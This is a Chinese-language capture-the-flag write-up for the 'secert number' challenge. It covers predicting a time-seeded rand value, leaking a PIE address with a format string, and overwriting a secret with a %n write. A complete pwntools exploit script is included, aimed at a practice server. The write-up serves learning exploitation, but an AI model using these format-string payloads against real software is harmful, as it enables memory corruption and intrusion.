本文最后更新于 2024年10月23日 晚上
secert number–NEWCTF
保护全开,主要利用格式化字符串。

用时间戳做随机数种子,然后取随机数,要求猜这个随机数。
本地打法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| dll=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') seed =time.time() a=int(seed) dll.srand(a) secert=dll.rand()
sl(b'0') print(hex(secert)) rl() sl(b'0') #gdb.attach(p) #pause(1)
rl() rl() sl(str(secert))
|
可能是远程机子的时间戳不同,所以远程打不通。
远程打法:
这里有个循环,可以用格式化字符串先泄露出main函数的地址,然后算出pie的偏移,再根据secert在bss的地址,通过输入,利用格字进行修改secert的值。
注意:当遇到\x00会停止printf。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| rl() rl() sl(b'1')
sd(b'%17$p') rl() rl() main_addr = int(rc(14),16)
print(hex(main_addr)) base_addr = main_addr-0x12f5 rl()
secert_addr = base_addr + 0x404c sl(b'1') payload = b'%9$naaaa' +p64(secert_addr) #gdb.attach(p)
sd(payload) rl() sl(b'0') rl() rl() rl() sl(b'0')
|
总结:回顾了一下对随机数的调用,以及好好看代码,注意有个循环(刚开始默认为了一次。。。)。
总exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| from pwn import* from ctypes import* context(log_level='debug',arch='amd64',os='linux')
p=remote('node4.buuoj.cn',26534) sl = lambda s :p.sendline(s) sd = lambda s :p.send(s) rc = lambda s :p.recv(s) ru = lambda s :p.recvuntil(s) rl = lambda :p.recvline() ''' dll=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') seed =time.time() a=int(seed) dll.srand(a) secert=dll.rand()
sl(b'0') print(hex(secert)) rl() sl(b'0') #gdb.attach(p) #pause(1)
rl() rl() sl(str(secert)) #sl(str(secert)) ''' rl() rl() sl(b'1')
sd(b'%17$p') rl() rl() main_addr = int(rc(14),16)
print(hex(main_addr)) base_addr = main_addr-0x12f5 rl()
secert_addr = base_addr + 0x404c sl(b'1') payload = b'%9$naaaa' +p64(secert_addr)
sd(payload) rl() sl(b'0') rl() rl() rl() sl(b'0')
p.interactive()
|